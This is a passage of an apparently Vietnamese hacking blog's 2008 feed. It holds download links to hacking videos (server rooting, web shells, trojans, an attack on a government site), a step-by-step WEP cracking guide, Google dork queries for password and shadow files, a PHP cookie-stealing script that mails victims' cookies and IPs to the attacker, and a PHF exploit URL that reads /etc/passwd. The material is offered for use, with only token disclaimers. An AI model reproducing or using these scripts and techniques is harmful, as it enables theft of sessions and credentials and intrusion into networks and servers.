/&gt;http://www.mediamax.com/vipundergrou...ahoo%20Fake%20[FuLL%20ViDEO%20bY%20HeliOs].rar&lt;br /&gt;36&gt;hackshop&lt;br /&gt;http://www.mediamax.com/vipundergrou...d/hackshop.rar&lt;br /&gt;37&gt;video tut backconnect "Moi nguoi fale Ip thif down duoc bang link nay"&lt;br /&gt;http://freewebtown.com/hackingvn/vid...backconect.rar&lt;br /&gt;38&gt;SQL Injection 4&lt;br /&gt;http://www.box.net/shared/static/rsuoufbpj1.rar&lt;br /&gt;or http://rapidshare.com/files/59957095/leo2.rar&lt;br /&gt;39&gt;Demo how i got root on server HPTVIETNAM &lt;br /&gt;http://www.megaupload.com/?d=1KGA9NGK&lt;br /&gt;40&gt;Backdoor and JPG &lt;br /&gt;http://str0ke213.tradebit.com/pub/8/57.swf&lt;br /&gt;41&gt;Crack MD5 user online and Cain&lt;br /&gt;http://dl1.filmshare24h.net/md5-password-cracking.swf&lt;br /&gt;42&gt;hack computer trên mạng internet! &lt;br /&gt;http://www.y0ume.net/video/hack%20computer.rar&lt;br /&gt;43&gt;409 Video hack&lt;br /&gt;http://www.forcehacker.com/videos.html&lt;br /&gt;44&gt;một cách ẩn shell &lt;br /&gt;http://www.y0ume.net/video/chenshell.rar&lt;br /&gt;45&gt;Một đống video hacking nhìu wá &lt;br /&gt;http://137.132.19.24/security_course/vid_tutorials/&lt;br /&gt;46&gt;Windows Password Hacking (Video) &lt;br /&gt;http://www.youtube.com/watch?v=vZDgR...search=laporte&lt;br /&gt;47&gt;iFrame DoS Explained &lt;br /&gt;http://one.revver.com/watch/211124&lt;br /&gt;48&gt;Hack Shop CFM ,Remote PC,Check CC &lt;br /&gt;http://uploadingit.com/files/197409_...S(Fix%202).zip&lt;br /&gt;49&gt;video hacking from PLD &lt;br /&gt;http://rapidshare.de/files/36172349/Sec.Videos1.rar&lt;br /&gt;http://rapidshare.de/files/36169967/Sec.Videos2.rar&lt;br /&gt;50&gt;video clip attack thanhhoa.gov.vn &lt;br /&gt;khoai.bop.vu/thanhhoa.rar&lt;br /&gt;51&gt;TUT hack shop asp moi!!!!!!!!!!!!!!! &lt;br /&gt;http://207.210.226.130/~thomaser/tool/hackasp.rar&lt;br /&gt;52&gt;upload hacking phần 2&lt;br /&gt;http://thanhnamhp.com.vn/upload.rar&lt;br /&gt;http://www.videos.learntohell.net/infectedgif.swf&lt;br /&gt;53&gt;VNC Remote video &lt;br /&gt;http://kid1412.110mb.com/Remote-vnc.rar&lt;br /&gt;http://kid1412.110mb.com/VNC.zip&lt;br /&gt;54&gt;1 kho video nữa nè &lt;br /&gt;Anh em down thoải mái nha &lt;br /&gt;http://aria-security.net/UPDATES/1st/Video/&lt;br /&gt;http://video.hackinthebox.org/2006.html&lt;br /&gt;http://chaosradio.ccc.de/22c3_m4v_563.html&lt;br /&gt;http://shmoocon.org/2006/presentations.html&lt;br /&gt;How Get Root Safe Mode On Server &lt;br /&gt;http://www.freewebs.com/lyokha/CraVideos.rar&lt;br /&gt;55&gt; windows fun&lt;br /&gt;http://warezshare.com/download.php?f...541ea58e44c56f&lt;br /&gt;http://warezshare.com/download.php?f...10ddc3e346dbe2&lt;br /&gt;56&gt;Include shell trong PHP&lt;br /&gt;phan 1: http://www.megaupload.com/vn/?d=9YW156EC&lt;br /&gt;phan 2: http://www.megaupload.com/?d=Y8HFO9EH&lt;br /&gt;57&gt;video chào mừng 2/9 &lt;br /&gt;http://www.megaupload.com/?d=I92BALB5&lt;br /&gt;58&gt;==&gt;&gt;Windows server rooting&lt;&lt;==&lt;br /&gt;http://www.freewebs.com/lyokha/winserverrooting.avi.flv&lt;br /&gt;59&gt;Video Local r00t Update 2007 - zer0c00l&lt;br /&gt;http://rapidshare.com/files/51844339/r00t2007.rar.html&lt;br /&gt;60&gt;video dùng trojan Shark 2 &lt;br /&gt;http://freewebtown.com/hackingvn/videohack/sharK 2 Tutorial.rar&lt;br /&gt;61&gt;clip hack VBB với lỗi SQL injection ( mod RPG Inferno v2.4) &lt;br /&gt;http://69.89.31.82/~seyiloco/leo9x/leo.rar &lt;br /&gt;http://69.89.31.82/~seyiloco/leo9x/leo.txt&lt;br /&gt;http://69.89.31.82/~seyiloco/leo9x/milw0rm.txt &lt;br /&gt;62&gt;Video hacking , bug upload :-D &lt;br /&gt;http://www.megaupload.com/?d=S7W44YQ0&lt;br /&gt;63&gt;Chèn Backdoor vào tập tin JPG &lt;br /&gt;http://str0ke213.tradebit.com/pub/8/57.swf&lt;br /&gt;64&gt;getroot&lt;br /&gt;http://quangtrungschool.org/upload/getroot1.rar&lt;br /&gt;65&gt;[video] Include Shell VBB &amp; Hide Backdoor for newbie &lt;br /&gt;http://www.box.net/public/2koz7exe6q&lt;br /&gt;66&gt;Video hack ibf &lt;br /&gt;http://www.badongo.com/file/3562304&lt;br /&gt;http://www.quangtrungschool.org/upload/Hack_ipf.rar&lt;br /&gt;67&gt;video download by pass!&lt;br /&gt;http://66.165.236.155/~wayland/Tut.zip&lt;br /&gt;68&gt;Exploit For vBulletin_all_version&lt;br /&gt;http://www.megaupload.com/?d=YK270LVU&lt;br /&gt;69&gt;Include shell với PhpBB &lt;br /&gt;http://rapidshare.com/files/9742816/...shell.rar.html&lt;br /&gt;http://www.4shared.com/file/8167032/...ludeshell.html&lt;br /&gt;70&gt;Video Music Thai Anh exp-do Langtuhoahao found !!! &lt;br /&gt;http://orange.smartwavetech.com/~yeu...on_thaianh.rar&lt;br /&gt;71&gt;tài nguyên video&lt;br /&gt;http://www.irdu.nus.edu.sg/security_...vid_tutorials/&lt;br /&gt;72&gt;Video Lesson - Inject Trojan 2 Web vs Hack Infobar Sp2 &lt;br /&gt;Link : http://z0mbie12.net/videoclip/exe2vbs-videohacking2.rar &lt;br /&gt;73&gt;Invision Power Board 2.1.7 (Debug) Remote Password Change Demonstration &lt;br /&gt;http://rapidshare.com/files/19230640...onstration.rar &lt;br /&gt;or&lt;br /&gt;http://rapidshare.com/files/2155224/ipb217.swf&lt;br /&gt;74&gt;Bugs local backup data &lt;br /&gt;tp://tailieumang.info/Tut.zip&lt;br /&gt;75&gt;SYN Flood &lt;br /&gt;http://k49c.net/gk/SYNFlood.rar&lt;br /&gt;76&gt;Hacking Movies &lt;br /&gt;http://2600.ir/pages/videoclips.htm&lt;br /&gt;77&gt;tut hack site ezupload (video) &lt;br /&gt;http://www.megaupload.com/?d=GCSXUELR&lt;br /&gt;78&gt;1 site rất hay &lt;br /&gt;http://www.giaiphapantoan.com/index....per&amp;Itemid=112&lt;br /&gt;79&gt;Video Get root Linux 2.4.25 &lt;br /&gt;http://www.megaupload.com/?d=T9BCFRF4 or&lt;br /&gt;http://www.4shared.com/file/8358713/...ot_Access.html&lt;br /&gt;80&gt;sử dụng bug eGallery trong PHP-Nuke để upshell lên server &lt;br /&gt;http://milw0rm.com/video/watch.php?id=29&lt;br /&gt;81&gt;1 site security video &lt;br /&gt;www.learnsecurityonline.com &lt;br /&gt;http://phreaknic.wilpig.org/&lt;br /&gt;http://www.hackerscenter.com/video/&lt;br /&gt;http://www.illegalworld.com/&lt;br /&gt;82&gt;Video hacking phpinjection&lt;br /&gt;http://video.antichat.org/download_150.html&lt;br /&gt;&lt;br /&gt;Sưu tập&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩ Chữ ký của itvnn ۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩&lt;br /&gt;&lt;br /&gt;url:http://haiphongit.com/forum/showthread.php?t=1388&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-3478567647798990471?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/3478567647798990471/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=3478567647798990471' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/3478567647798990471'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/3478567647798990471'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/09/b-su-tp-tng-hp-link-down-cc-video-dy.html' title='bộ sưu tập tổng hợp link down các video dạy hack'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-2666971691028008122</id><published>2008-09-09T03:18:00.000-07:00</published><updated>2008-09-09T03:20:27.542-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='WEP'/><category scheme='http://www.blogger.com/atom/ns#' term='BackTrack'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Tutorial: Cracking WEP Using Backtrack 3</title><content type='html'>19 Aug 2008 &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Tutorial: Cracking WEP Using Backtrack 3&lt;/span&gt;&lt;br /&gt;    Standard Disclaimer: This article is provided for informational purposes only. thew0rd.com and its affiliates accept no liability for providing this information. Please only use to test configurations on your own equipment. Accessing WIFI networks that do not belong to you is ILLEGAL.&lt;br /&gt;&lt;br /&gt;This article will explan how to crack 64bit and 128bit WEP on many WIFI access points and routers using Backtrack, a live linux distribution. Your mileage may very. The basic theory is that we want to connect to an Access Point using WEP Encryption, but we do not know the key. We will attack the wifi router, making it generate packets for our cracking effort, finally cracking the WEP key. I have tested this technique on an IBM Thinkpad x60 and Acer 5672 and the WIFI Chipset in those machines work for sure.&lt;br /&gt;&lt;br /&gt;Requirements:&lt;br /&gt;&lt;br /&gt;    * Backtrack 3 on CD or USB&lt;br /&gt;    * Computer with compatible 802.11 wireless card&lt;br /&gt;    * Wireless Access point or WIFI Router using WEP encryption&lt;br /&gt;&lt;br /&gt;I will assume that you have downloaded and booted into Backtrack 3. If you haven’t figured that part out, you probably shouldn’t be trying to crack WEP keys. Once Backtrack is loaded, open a shell and do the following:&lt;br /&gt;Preparing The WIFI Card&lt;br /&gt;&lt;br /&gt;First we must enable “Monitor Mode” on the wifi card. If using the Intel® PRO/Wireless 3945ABG chipset issue the following commands:&lt;br /&gt;&lt;br /&gt;modprobe -r iwl3945&lt;br /&gt;&lt;br /&gt;modprobe ipwraw&lt;br /&gt;The above commands will enable monitor mode on the wireless chipset in your computer. Next we must stop your WIFI card:&lt;br /&gt;&lt;br /&gt;iwconfig&lt;br /&gt;Take note of your wireless adapter’s interface name. Then stop the adapter by issuing:&lt;br /&gt;&lt;br /&gt;airmon-ng stop [device]&lt;br /&gt;Then:&lt;br /&gt;&lt;br /&gt;ifconfig down [interface]&lt;br /&gt;Now we must change the MAC address of the adapter:&lt;br /&gt;&lt;br /&gt;macchanger --mac 00:11:22:33:44:66 [device]&lt;br /&gt;Its now time to start the card in monitor mode by doing:&lt;br /&gt;&lt;br /&gt;airmon-ng start [device]&lt;br /&gt;airmon-ngstart1.png&lt;br /&gt;Attacking The Target&lt;br /&gt;&lt;br /&gt;It is now time to locate a suitable WEP enabled network to work with:&lt;br /&gt;&lt;br /&gt;airodump-ng [device]&lt;br /&gt;airodumpwifi0.png&lt;br /&gt;&lt;br /&gt;Be sure to note the MAC address (BSSID), channel (CH) and name (ESSID) of the target network. Now we must start collecting data from the WIFI access point for the attack:&lt;br /&gt;&lt;br /&gt;airodump-ng -c [channel] -w [network.out] –bssid [bssid] [device]&lt;br /&gt;&lt;br /&gt;airodumpoutput.png&lt;br /&gt;&lt;br /&gt;The above command will output data collected to the file: network.out. This file will be fed into the WEP Crack program when we are ready to crack the WEP key.&lt;br /&gt;&lt;br /&gt;Open another shell and leave the previous command running. Now we need to generate some fake packets to the access point to speed up the data output. Test the access point by issuing the following command:&lt;br /&gt;&lt;br /&gt;aireplay-ng -1 0 -a [bssid] -h 00:11:22:33:44:66 -e [essid] [device]&lt;br /&gt;aireplayfakeauth.png&lt;br /&gt;&lt;br /&gt;If this command is successful we will now generate many packets on the target network so that we can crack the KEY. Type:&lt;br /&gt;&lt;br /&gt;airplay-ng -3 -b [bssid] -h 00:11:22:33:44:66 [device]&lt;br /&gt;aireplaygenerateivs.png&lt;br /&gt;&lt;br /&gt;This will force the access point to send out a bunch of packets which we can then use to crack the WEP key. Check your aerodump-ng shell and you should see the “data” section filling up with packets.&lt;br /&gt;&lt;br /&gt;captureivs_0.png&lt;br /&gt;&lt;br /&gt;After about 10,000-20,000 you can begin cracking the WEP key. If there are no other hosts on the target access point generating packets, you can try:&lt;br /&gt;&lt;br /&gt;aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b [bssid] -h 00:11:22:33:44:66 [device]&lt;br /&gt;aireplayattack2p.png&lt;br /&gt;&lt;br /&gt;Once you have enough packets, you begin the crack:&lt;br /&gt;&lt;br /&gt;aircrack-ng -n 128 -b [bssid] [filename]-01.cap&lt;br /&gt;&lt;br /&gt;The “-n 128″ signifies a 128-bit WEP key. If cracking fails, try a 64-bit key by changing the value of N to 64.&lt;br /&gt;&lt;br /&gt;crackng.png&lt;br /&gt;&lt;br /&gt;Once the crack is successful you will be left with the KEY! Remove the : from the output and there is your key. So there you have it.&lt;br /&gt;&lt;br /&gt;You can use these techniques to demonstrate to others why using WEP is a bad idea. I suggest you use WPA2 encryption on your wireless networks. Goodluck!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-2666971691028008122?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/2666971691028008122/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=2666971691028008122' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/2666971691028008122'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/2666971691028008122'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/09/tutorial-cracking-wep-using-backtrack-3.html' title='Tutorial: Cracking WEP Using Backtrack 3'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-1863124331419776076</id><published>2008-09-08T09:37:00.000-07:00</published><updated>2008-09-08T09:38:17.916-07:00</updated><title type='text'>Google As A Hacking Tool 07/26/2008</title><content type='html'>Google As A Hacking Tool 07/26/2008&lt;br /&gt;0 Comments&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;     Well, the Google’s query syntaxes discussed above can really help people to precise their search and get what they are exactly looking for.&lt;br /&gt;&lt;br /&gt;Now Google being so intelligent search engine, hackers don’t mind exploiting its ability to dig much confidential and secret information from the net which they are not supposed to know. Now I shall discuss those techniques in details how hackers dig information from the net using Google and how that information can be used to break into remote servers.&lt;br /&gt;&lt;br /&gt;Index Of&lt;br /&gt;&lt;br /&gt;Using “Index of ” syntax to find sites enabled with Index browsing.&lt;br /&gt;&lt;br /&gt;A webserver with Index browsing enabled means anyone can browse the webserver directories like ordinary local directories. The use of “index of” syntax to get a list links to webserver which has got directory browsing enabled will be discussd below. This becomes an easy source for information gathering for a hacker. Imagine if the get hold of password files or others sensitive files which are not normally visible to the internet. Below given are few examples using which one can get access to many sensitive information much easily.&lt;br /&gt;&lt;br /&gt;Index of /admin&lt;br /&gt;Index of /passwd&lt;br /&gt;Index of /password&lt;br /&gt;Index of /mail&lt;br /&gt;&lt;br /&gt;"Index of /" +passwd&lt;br /&gt;"Index of /" +password.txt&lt;br /&gt;"Index of /" +.htaccess&lt;br /&gt;&lt;br /&gt;"Index of /secret"&lt;br /&gt;"Index of /confidential"&lt;br /&gt;"Index of /root"&lt;br /&gt;"Index of /cgi-bin"&lt;br /&gt;"Index of /credit-card"&lt;br /&gt;"Index of /logs"&lt;br /&gt;"Index of /config"&lt;br /&gt;&lt;br /&gt;Looking for vulnerable sites or servers using “inurl:” or “allinurl:”.&lt;br /&gt;&lt;br /&gt;a. Using “allinurl:winnt/system32/” (without quotes) will list down all the links to the server which gives access to restricted directories like “system32” through web. If you are lucky enough then you might get access to the cmd.exe in the “system32” directory. Once you have the access to “cmd.exe” and is able to execute it.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;b. Using “allinurl:wwwboard/passwd.txt”(without quotes) in the Google search will list down all the links to the server which are vulnerable to “WWWBoard Password vulnerability”. To know more about this vulnerability you can have a look at the following link:&lt;br /&gt;&lt;br /&gt;http://www.securiteam.com/exploits/2BUQ4S0SAW.html&lt;br /&gt;&lt;br /&gt;c. Using “inurl:.bash_history” (without quotes) will list down all the links to the server which gives access to “.bash_history” file through web. This is a command history file. This file includes the list of command executed by the administrator, and sometimes includes sensitive information such as password typed in by the administrator. If this file is compromised and if contains the encrypted unix (or *nix) password then it can be easily cracked using “John The Ripper”.&lt;br /&gt;&lt;br /&gt;d. Using “inurl:config.txt” (without quotes) will list down all the links to the servers which gives access to “config.txt” file through web. This file contains sensitive information, including the hash value of the administrative password and database authentication credentials.&lt;br /&gt;&lt;br /&gt;For Example: Ingenium Learning Management System is a Web-based application for Windows based systems developed by Click2learn, Inc. Ingenium Learning Management System versions 5.1 and 6.1 stores sensitive information insecurely in the config.txt file. For more information refer the following&lt;br /&gt;links: http://www.securiteam.com/securitynews/6M00H2K5PG.html&lt;br /&gt;&lt;br /&gt;Other similar search using “inurl:” or “allinurl:” combined with other syntax&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;inurl:admin filetype:txt&lt;br /&gt;inurl:admin filetype:db&lt;br /&gt;inurl:admin filetype:cfg&lt;br /&gt;inurl:mysql filetype:cfg&lt;br /&gt;inurl:passwd filetype:txt&lt;br /&gt;inurl:iisadmin&lt;br /&gt;inurl:auth_user_file.txt&lt;br /&gt;inurl:orders.txt&lt;br /&gt;inurl:"wwwroot/*."&lt;br /&gt;inurl:adpassword.txt&lt;br /&gt;inurl:webeditor.php&lt;br /&gt;inurl:file_upload.php&lt;br /&gt;&lt;br /&gt;inurl:gov filetype:xls "restricted"&lt;br /&gt;index of ftp +.mdb allinurl:/cgi-bin/ +mailto&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Looking for vulnerable sites or servers using “intitle:” or “allintitle:”&lt;br /&gt;&lt;br /&gt;a. Using [allintitle: "index of /root”] (without brackets) will list down the links to the web server which gives access to restricted directories like “root” through web. This directory sometimes contains sensitive information which can be easily retrieved through simple web requests.&lt;br /&gt;&lt;br /&gt;b. Using [allintitle: "index of /admin”] (without brackets) will list down the links to the websites which has got index browsing enabled for restricted directories like “admin” through web. Most of the web application sometimes uses names like “admin” to store admin credentials in it. This directory sometimes contains sensitive information which can be easily retrieved through simple web requests.&lt;br /&gt;&lt;br /&gt;Other similar search using “intitle:” or “allintitle:” combined with other syntax&lt;br /&gt;&lt;br /&gt;intitle:"Index of" .sh_history&lt;br /&gt;intitle:"Index of" .bash_history&lt;br /&gt;intitle:"index of" passwd&lt;br /&gt;intitle:"index of" people.lst&lt;br /&gt;intitle:"index of" pwd.db&lt;br /&gt;intitle:"index of" etc/shadow&lt;br /&gt;intitle:"index of" spwd&lt;br /&gt;intitle:"index of" master.passwd&lt;br /&gt;intitle:"index of" htpasswd&lt;br /&gt;intitle:"index of" members OR accounts&lt;br /&gt;intitle:"index of" user_carts OR user_cart&lt;br /&gt;&lt;br /&gt;allintitle: sensitive filetype:doc&lt;br /&gt;allintitle: restricted filetype :mail&lt;br /&gt;allintitle: restricted filetype:doc site:gov&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Other interesting Search Queries&lt;br /&gt;&lt;br /&gt;To search for sites vulnerable to Cross-Sites Scripting (XSS) attacks:&lt;br /&gt;&lt;br /&gt;allinurl:/scripts/cart32.exe&lt;br /&gt;allinurl:/CuteNews/show_archives.php&lt;br /&gt;allinurl:/phpinfo.php&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To search for sites vulnerable to SQL Injection attacks:&lt;br /&gt;&lt;br /&gt;allinurl:/privmsg.php&lt;br /&gt;allinurl:/privmsg.php&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Cookie Stealing 07/26/2008&lt;br /&gt;0 Comments&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;   For php mail sender download mysql it is a s/w like .RAR file...&lt;br /&gt;if you don't have mysql then .PHP file will not work in ur pc...&lt;br /&gt;1.Download mysql...ask ne for the link....or find in google...&lt;br /&gt;2.Copy the code and paste in notepad and save as extention.PHP&lt;br /&gt;The code is given here:-&lt;br /&gt;&lt;br /&gt;$to="myemail@yahoo.com";&lt;br /&gt;$subject="ID: ".$_GET["id"];&lt;br /&gt;$message="ID: ".$_GET["id"]."\nCookies: \n".$_GET["cookie"]."\nIp: ".$_SERVER["REMOTE_ADDR"];&lt;br /&gt;mail($to,$subject,$message, "From: cookies@lod.com");&lt;br /&gt;&lt;br /&gt;header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");&lt;br /&gt;header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");&lt;br /&gt;header("Cache-Control: no-store, no-cache, must-revalidate");&lt;br /&gt;header("Cache-Control: post-check=0, pre-check=0", false);&lt;br /&gt;header("Pragma: no-cache");&lt;br /&gt;&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3.now upload on the internet...and as u give that link to anyone as he opens that link his/her coockies u will get it on ur mail......&lt;br /&gt;&lt;br /&gt;EDIT THE 1st LINE AS YOUR E-MAIL THERE....THIS LINE-$to=myemail@yahoo.com;&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Clone A Hard Drive 07/26/2008&lt;br /&gt;0 Comments&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;  Did know that you could clone your current Hard Drive without having to by extra software? Maybe you didn't know that all that you needed, was already set up on your current system? Well, it is... and if you follow this tut, you shouldn't have much of a problem.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Make sure that you have a Master and a Slave setup on your system. The Slave drive, in this case, is where all the data on the Master is going to go to.&lt;br /&gt;&lt;br /&gt;First: Perform a Scandisk your Master drive and follow that with a thorough Defrag. If you have an Antivirus program, do a thorough sweep with the AV first, then do the Scandisk, followed by the Defrag.&lt;br /&gt;&lt;br /&gt;Second: Do the same thing to the target drive, as you did the Master: Scandisk then a thorough Defrag.&lt;br /&gt;&lt;br /&gt;Third: Right-click on the Target drive and click on Format. When the box comes up, click your mouse onto the "Full" button.&lt;br /&gt;&lt;br /&gt;Fourth: After Formatting the Target drive, run a Scandisk again and click on the button that says "Autofix Errors".&lt;br /&gt;&lt;br /&gt;Fifth: In this final part, you might want to cut-and-paste to code in, unless you are sure that you can do it without making any mistakes:&lt;br /&gt;&lt;br /&gt;Click on the "Start" button, then click on the "Run..." button, then place the following into the Runbox:&lt;br /&gt;&lt;br /&gt;"XCOPY C:\*.*D:\ /c/h/e/k/r" (minus the quotes, of course) then press the "Enter" button.&lt;br /&gt;&lt;br /&gt;If you receive an error message, then remove the space from between XCOPY and C:\&lt;br /&gt;&lt;br /&gt;Anything that should happen to come up in the DOS box, just click "Y" for "Yes". When its all finished, pull the original Master from the system, designate the Slave as the Master (change your jumpers), then check your new Master out.&lt;br /&gt;&lt;br /&gt;This tut has worked and has been tested on all systems except for Windows 2000, so you really shouldn't have any problems. If, by any chance, you should come across a snag, message me and I'll walk you through it.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Hacking Webpages by Virtual Circuit 07/26/2008&lt;br /&gt;0 Comments&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Hacking Webpages&lt;br /&gt;&lt;br /&gt;Getting the Password File Through FTP&lt;br /&gt;&lt;br /&gt;Ok well one of the easiest ways of getting superuser access is through&lt;br /&gt;anonymous ftp access into a webpage. First you need learn a little about&lt;br /&gt;the password file...&lt;br /&gt;&lt;br /&gt;root:User:d7Bdg:1n2HG2:1127:20:Superuser&lt;br /&gt;TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh&lt;br /&gt;BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh&lt;br /&gt;&lt;br /&gt;This is an example of a regular encrypted password file. The Superuser is&lt;br /&gt;the part that gives you root. That's the main part of the file.&lt;br /&gt;&lt;br /&gt;root:x:0:1:Superuser:/:&lt;br /&gt;ftp:x:202:102:Anonymous ftp:/u1/ftp:&lt;br /&gt;ftpadmin:x:203:102:ftp Administrator:/u1/ftp&lt;br /&gt;&lt;br /&gt;This is another example of a password file, only this one has one little&lt;br /&gt;difference, it's shadowed. Shadowed password files don't let you view or&lt;br /&gt;copy the actual encrypted password. This causes problems for the password&lt;br /&gt;cracker and dictionary maker(both explained later in the text). Below is&lt;br /&gt;another example of a shadowed password file:&lt;br /&gt;&lt;br /&gt;root:x:0:1:0000-Admin(0000):/:/usr/bin/csh&lt;br /&gt;daemon:x:1:1:0000-Admin(0000):/:&lt;br /&gt;bin:x:2:2:0000-Admin(0000):/usr/bin:&lt;br /&gt;sys:x:3:3:0000-Admin(0000):/:&lt;br /&gt;adm:x:4:4:0000-Admin(0000):/var/adm:&lt;br /&gt;lp:x:71:8:0000-lp(0000):/usr/spool/lp:&lt;br /&gt;smtp:x:0:0:mail daemon user:/:&lt;br /&gt;uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:&lt;br /&gt;nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico&lt;br /&gt;listen:x:37:4:Network Admin:/usr/net/nls:&lt;br /&gt;nobody:x:60001:60001:uid no body:/:&lt;br /&gt;noaccess:x:60002:60002:uid no access:/:&lt;br /&gt;webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh&lt;br /&gt;pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false&lt;br /&gt;ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false&lt;br /&gt;&lt;br /&gt;Shadowed password files have an "x" in the place of a password or sometimes&lt;br /&gt;they are disguised as an * as well.&lt;br /&gt;&lt;br /&gt;Now that you know a little more about what the actual password file looks&lt;br /&gt;like you should be able to identify a normal encrypted pw from a shadowed&lt;br /&gt;pw file. We can now go on to talk about how to crack it.&lt;br /&gt;&lt;br /&gt;Cracking a password file isn't as complicated as it would seem, although the&lt;br /&gt;files vary from system to system. 1.The first step that you would take is&lt;br /&gt;to download or copy the file. 2. The second step is to find a password&lt;br /&gt;cracker and a dictionary maker. Although it's nearly impossible to find a&lt;br /&gt;good cracker there are a few ok ones out there. I recomend that you look&lt;br /&gt;for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper.&lt;br /&gt;Now for a dictionary maker or a dictionary file... When you start a&lt;br /&gt;cracking prog you will be asked to find the the password file. That's where&lt;br /&gt;a dictionary maker comes in. You can download one from nearly every hacker&lt;br /&gt;page on the net. A dictionary maker finds all the possible letter&lt;br /&gt;combinations with the alphabet that you choose(ASCII, caps, lowercase, and&lt;br /&gt;numeric letters may also be added) . We will be releasing our pasword file&lt;br /&gt;to the public soon, it will be called, Psychotic Candy, "The Perfect Drug."&lt;br /&gt;As far as we know it will be one of the largest in circulation. 3. You then start up the cracker and follow the directions that it gives&lt;br /&gt;you.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The PHF Technique&lt;br /&gt;&lt;br /&gt;Well I wasn't sure if I should include this section due to the fact that&lt;br /&gt;everybody already knows it and most servers have already found out about&lt;br /&gt;the bug and fixed it. But since I have been asked questions about the phf&lt;br /&gt;I decided to include it.&lt;br /&gt;&lt;br /&gt;The phf technique is by far the easiest way of getting a password file&lt;br /&gt;(although it doesn't work 95% of the time). But to do the phf all you do&lt;br /&gt;is open a browser and type in the following link:&lt;br /&gt;&lt;br /&gt;http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd&lt;br /&gt;&lt;br /&gt;You replace the webpage_goes_here with the domain. So if you were trying to&lt;br /&gt;get the pw file for www.webpage.com you would type:&lt;br /&gt;&lt;br /&gt;http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd&lt;br /&gt;&lt;br /&gt;and that's it! You just sit back and copy the file(if it works).&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Yahoo! Messenger Chat Commands 07/26/2008&lt;br /&gt;0 Comments&lt;br 